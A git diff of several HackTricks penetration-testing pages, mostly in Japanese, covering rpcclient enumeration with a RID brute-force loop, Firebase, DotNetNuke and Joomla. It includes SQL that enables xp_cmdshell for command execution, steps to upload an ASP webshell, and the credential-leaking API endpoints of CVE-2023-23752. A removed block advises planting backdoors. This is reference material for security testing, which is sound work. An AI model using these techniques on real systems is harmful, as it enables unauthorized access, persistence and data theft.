* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# rpcclient enumeration
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -20,31 +23,31 @@
***
### 相対識別子RIDとセキュリティ識別子SIDの概要
### Relative Identifiers (RID) と Security Identifiers (SID) の概要
**相対識別子RID**と**セキュリティ識別子SID**は、Windowsオペレーティングシステムにおいて、ネットワークドメイン内のユーザーやグループなどのオブジェクトを一意に識別および管理するための重要なコンポーネントです。
**Relative Identifiers (RID)** と **Security Identifiers (SID)** は、ネットワークドメイン内のオブジェクトユーザーやグループなどを一意に識別し管理するためのWindowsオペレーティングシステムの重要なコンポーネントです。
- **SIDs**は、各ドメインが区別可能であることを保証するための一意の識別子として機能します。
- **RIDs**は、これらのドメイン内のオブジェクトのための一意の識別子を作成するためにSIDsに追加されます。この組み合わせにより、オブジェクトの権限とアクセス制御を正確に追跡および管理することが可能となります。
- **SID** はドメインの一意の識別子として機能し、各ドメインが区別できるようにします。
- **RID** SIDに追加され、これらのドメイン内のオブジェクトの一意の識別子を作成します。この組み合わせにより、オブジェクトの権限とアクセス制御の正確な追跡と管理が可能になります。
たとえば、ユーザー名が`pepe`の場合、そのユニークな識別子は、ドメインのSIDと彼の特定のRIDを組み合わせたもので、16進数`0x457`および10進数`1111`の形式で表されます。これにより、pepeのドメイン内での完全かつ一意の識別子が次のように生成されます`S-1-5-21-1074507654-1937615267-42093643874-1111`
例えば、`pepe`という名前のユーザーは、ドメインのSIDと特定のRIDを組み合わせた一意の識別子を持つことがあります。これは16進数`0x457`および10進数`1111`形式で表されます。これにより、ドメイン内のpepeの完全かつ一意の識別子は次のようになります: `S-1-5-21-1074507654-1937615267-42093643874-1111`
### **rpcclientを使用した列挙**
### **rpcclientによる列挙**
Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイント**とやり取りするために使用されます。**SMBセッションが確立された後**に、しばしば資格情報が必要となります。
Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイントと対話するために使用されます**。以下のコマンドは、**SMBセッションが確立された後にSAMR、LSARPC、およびLSARPC-DSインターフェースに対して発行できます**。通常、資格情報が必要です。
#### サーバー情報
* **サーバー情報を取得**するには:`srvinfo`コマンドを使用します。
* **サーバー情報を取得するには**: `srvinfo` コマンドを使用します。
#### ユーザーの列挙
* **ユーザーをリストアップ**するには:`querydispinfo`および`enumdomusers`を使用します。
* **ユーザーの詳細**は:`queryuser <0xrid>`で取得します。
* **ユーザーのグループ**は:`queryusergroups <0xrid>`で取得します。
* **ユーザーのSIDは**`lookupnames <username>`を使用して取得します。
* **ユーザーのエイリアス**は:`queryuseraliases [builtin|domain] <sid>`で取得します。
* **ユーザーをリストするには**: `querydispinfo``enumdomusers` を使用します。
* **ユーザーの詳細を取得するには**: `queryuser <0xrid>` を使用します。
* **ユーザーのグループを取得するには**: `queryusergroups <0xrid>` を使用します。
* **ユーザーのSIDを取得するには**: `lookupnames <username>` を使用します。
* **ユーザーのエイリアスを取得するには**: `queryuseraliases [builtin|domain] <sid>` を使用します。
```bash
# Users' RIDs-forced
for i in $(seq 500 1100); do
@ -55,51 +58,51 @@ done
```
#### グループの列挙
* **グループ**`enumdomgroups`による
* **グループの詳細**`querygroup <0xrid>`を使用
* **グループのメンバー**`querygroupmem <0xrid>`を介して
* **グループ**は: `enumdomgroups`
* **グループの詳細**は: `querygroup <0xrid>`
* **グループのメンバー**は: `querygroupmem <0xrid>`
#### エイリアスグループの列挙
* **エイリアスグループ**`enumalsgroups <builtin|domain>`による
* **エイリアスグループのメンバー**`queryaliasmem builtin|domain <0xrid>`を使用
* **エイリアスグループ**は: `enumalsgroups <builtin|domain>`
* **エイリアスグループのメンバー**は: `queryaliasmem builtin|domain <0xrid>`
#### ドメインの列挙
* **ドメイン**`enumdomains`を使用。
* **ドメインのSIDの取得**`lsaquery`による
* **ドメイン情報の取得**`querydominfo`による
* **ドメイン**は: `enumdomains`を使用。
* **ドメインのSIDは取得される**: `lsaquery`を通じて
* **ドメイン情報は取得される**: `querydominfo`
#### 共有の列挙
#### シェアの列挙
* **利用可能なすべての共有**`netshareenumall`による
* **特定の共有に関する情報の取得**`netsharegetinfo <share>`を使用
* **すべての利用可能なシェア**は: `netshareenumall`
* **特定のシェアに関する情報は取得される**: `netsharegetinfo <share>`
#### SIDを使用した追加操作
#### SIDに関する追加操作
* **名前からSIDへの変換**`lookupnames <username>`を使用。
* **さらなるSID**`lsaenumsid`を介して
* **RIDサイクリングによるさらなるSIDの確認**`lookupsids <sid>`によって実行される。
* **名前によるSID**は: `lookupnames <username>`を使用。
* **さらに多くのSID**は: `lsaenumsid`
* **より多くのSIDを確認するためのRIDサイクリング**は: `lookupsids <sid>`で行われる。
#### **追加コマンド**
| **コマンド** | **インターフェース** | **説明** |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| queryuser | SAMR | ユーザー情報取得 |
| querygroup | グループ情報取得 | |
| querydominfo | ドメイン情報取得 | |
| enumdomusers | ドメインユーザー列挙 | |
| enumdomgroups | ドメイングループ列挙 | |
| createdomuser | ドメインユーザー作成 | |
| deletedomuser | ドメインユーザー削除 | |
| lookupnames | LSARPC | ユーザー名をSID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)値に変換する |
| lookupsids | SIDをユーザー名に変換する(RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)サイクリング | |
| lsaaddacctrights | ユーザーアカウントに権限を追加する | |
| lsaremoveacctrights | ユーザーアカウントから権限を削除する | |
| dsroledominfo | LSARPC-DS | プライマリドメイン情報取得 |
| dsenumdomtrusts | ADフォレスト内の信頼されたドメイン列挙 | |
| queryuser | SAMR | ユーザー情報取得 |
| querygroup | グループ情報取得 | |
| querydominfo | ドメイン情報取得 | |
| enumdomusers | ドメインユーザー列挙 | |
| enumdomgroups | ドメイングループ列挙 | |
| createdomuser | ドメインユーザー作成 | |
| deletedomuser | ドメインユーザー削除 | |
| lookupnames | LSARPC | ユーザー名をSID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)値に照会 |
| lookupsids | SIDをユーザー名に照会 (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)サイクリング) | |
| lsaaddacctrights | ユーザーアカウントに権利を追加 | |
| lsaremoveacctrights | ユーザーアカウントから権利を削除 | |
| dsroledominfo | LSARPC-DS | プライマリドメイン情報取得 |
| dsenumdomtrusts | ADフォレスト内の信頼されたドメイン列挙 | |
**_samrdump_** **および** **_rpcdump_** の動作を理解するには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を読むことをお勧めします。
ツール _**samrdump**_ **と** _**rpcdump**_ の動作をよりよく理解するためには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を読むべきです。
**Try Hard Security Group**
@ -107,14 +110,17 @@ done
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>でゼロからヒーローまでAWSハッキングを学びましょう</summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,33 +1,39 @@
# Firebase Database
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Firebaseとは
## What is Firebase
Firebaseは主にモバイルアプリケーション向けのBackend-as-a-Servicesです。バックエンドのプログラミングの負担を取り除くことに焦点を当て、素敵なSDKやアプリケーションとバックエンドのやり取りを容易にする多くの興味深い機能を提供しています。
Firebaseは主にモバイルアプリケーション向けのBackend-as-a-Serviceです。バックエンドのプログラミングの負担を軽減し、アプリケーションとバックエンドの相互作用を容易にする素晴らしいSDKやその他の興味深い機能を提供することに重点を置いています。
Firebaseについて詳しくは以下を参照してください:
Firebaseの詳細については、こちらをご覧ください:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,60 +1,66 @@
# DotNetNuke (DNN)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## DotNetNuke (DNN)
DNN**管理者**としてログインすると、RCEを簡単に取得きます。
DNN**管理者**としてログインすると、RCEを取得するのが簡単です。
## RCE
### SQL経由
**`Settings`**ページの下にアクセス可能なSQLコンソールがあり、**`xp_cmdshell`**を有効にして**オペレーティングシステムコマンドを実行**できます。
**`Settings`**ページの下にSQLコンソールがアクセス可能で、**`xp_cmdshell`**を有効にして**オペレーティングシステムコマンドを実行**できます。
これらの行を使用して**`xp_cmdshell`**を有効にします:
**`xp_cmdshell`**を有効にするには、これらの行を使用します:
```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
```
そして、**"Run Script"**を押してそのSQL文を実行します。
そして、**"Run Script"**を押してそのSQL文を実行します。
次に、以下のような方法でOSコマンドを実行します
次に、次のようなものを使用してOSコマンドを実行します
```sql
xp_cmdshell 'whoami'
```
### ASPウェブシェルを使用する
### Via ASP webshell
`Settings -> Security -> More -> More Security Settings`で、`Allowable File Extensions`の下に新しい許可された拡張子を**追加**し、`Save`ボタンをクリックします。
`設定 -> セキュリティ -> その他 -> その他のセキュリティ設定` で、`許可されるファイル拡張子` の下に **新しい許可された拡張子を追加** できます。そして、`保存` ボタンをクリックします。
**`asp`**または**`aspx`**を追加し、次に**`/admin/file-management`**に**`shell.asp`**などの**aspウェブシェル**をアップロードします。
**`asp`** または **`aspx`** を追加し、次に **`/admin/file-management`** で **`shell.asp`** という名前の **asp webshell** をアップロードします。
その後、**`/Portals/0/shell.asp`**にアクセスしてウェブシェルにアクセスします。
その後、**`/Portals/0/shell.asp`** にアクセスして、webshell にアクセスします。
### 特権昇格
### Privilege Escalation
**Potatoes**または**PrintSpoofer**などを使用して**特権を昇格**できます。&#x20;
**特権を昇格** させるために、例えば **Potatoes** または **PrintSpoofer** を使用できます。&#x20;
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# Joomla
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Joomlaの統計情報
### Joomlaの統計
Joomlaは、Joomlaのインストールで使用されているJoomla、PHP、データベースバージョン、およびサーバーのオペレーティングシステムの分析など、いくつかの匿名の[使用統計情報](https://developer.joomla.org/about/stats.html)を収集しています。このデータは、彼らの公開[API](https://developer.joomla.org/about/stats/api.html)を介してクエリできます。
Joomlaは、Joomlaのインストールで使用されているJoomla、PHP、データベースのバージョンやサーバーのオペレーティングシステムの内訳など、いくつかの匿名の[使用統計](https://developer.joomla.org/about/stats.html)を収集します。このデータは、彼らの公開[API](https://developer.joomla.org/about/stats/api.html)を介してクエリできます。
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
@ -42,11 +45,11 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
}
}
```
## 列挙
## Enumeration
### 発見/フットプリンティング
### Discovery/Footprinting
* **meta**をチェック
* **メタ**を確認する
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
@ -63,52 +66,6 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
[...]
```
* README.txt
## Joomla
### Information Gathering
#### Version Detection
To detect the version of Joomla running on a target website, you can look for version information in the HTML source code or check the `readme.html` file in the Joomla root directory.
#### Directory Enumeration
Use tools like DirBuster or Gobuster to enumerate directories and files on the Joomla website. Look for sensitive directories like `/administrator` or `/components`.
### Exploitation
#### Known Vulnerabilities
Search for known vulnerabilities affecting the detected Joomla version on platforms like Exploit Database or CVE Details. Exploit these vulnerabilities to gain unauthorized access.
#### SQL Injection
Exploit SQL injection vulnerabilities in Joomla components or plugins to extract data from the website's database. Use tools like SQLMap to automate the process.
### Post-Exploitation
#### Privilege Escalation
After gaining initial access, escalate privileges by exploiting misconfigurations, weak file permissions, or other vulnerabilities in the Joomla installation.
#### Backdooring
Plant a backdoor in the Joomla website to maintain access even if the original vulnerability used for exploitation is patched. Use tools like Metasploit to create and deploy backdoors.
### Countermeasures
#### Keep Joomla Updated
Regularly update Joomla to the latest version to patch known vulnerabilities and protect the website from exploitation.
#### Use Strong Authentication
Implement strong authentication mechanisms like two-factor authentication to prevent unauthorized access to the Joomla admin panel.
#### Monitor File Changes
Monitor file integrity and changes in the Joomla installation to detect any unauthorized modifications or backdoors planted by attackers.
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
@ -118,26 +75,28 @@ Monitor file integrity and changes in the Joomla installation to detect any unau
```
### バージョン
* **/administrator/manifests/files/joomla.xml** にバージョンが記載されています。
* **/language/en-GB/en-GB.xml** にJoomlaのバージョンが記載されています。
* **plugins/system/cache/cache.xml** におおよそのバージョンが記載されています。
* **/administrator/manifests/files/joomla.xml** でバージョンを確認できます。
* **/language/en-GB/en-GB.xml** でJoomlaのバージョンを取得できます。
* **plugins/system/cache/cache.xml** でおおよそのバージョンを確認できます。
### 自動
```bash
droopescan scan joomla --url http://joomla-site.local/
```
In[ **80,443 - Pentesting Web Methodologyは、JoomlaをスキャンできるCMSスキャナに関するセクションです**](./#cms-scanners)。
In[ **80,443 - Pentesting Web MethodologyはCMSスキャナに関するセクションです**](./#cms-scanners)で、Joomlaをスキャンできます
### API認証なしの情報漏洩:
バージョン4.0.0から4.2.7までが認証なしの情報漏洩CVE-2023-23752に脆弱であり、資格情報やその他の情報をダンプします。
### API 認証なしの情報漏洩:
バージョン4.0.0から4.2.7は、認証なしの情報漏洩CVE-2023-23752に脆弱で、クレデンシャルやその他の情報をダンプします。
* ユーザー`http://<host>/api/v1/users?public=true`
* ユーザー: `http://<host>/api/v1/users?public=true`
* 設定ファイル`http://<host>/api/index.php/v1/config/application?public=true`
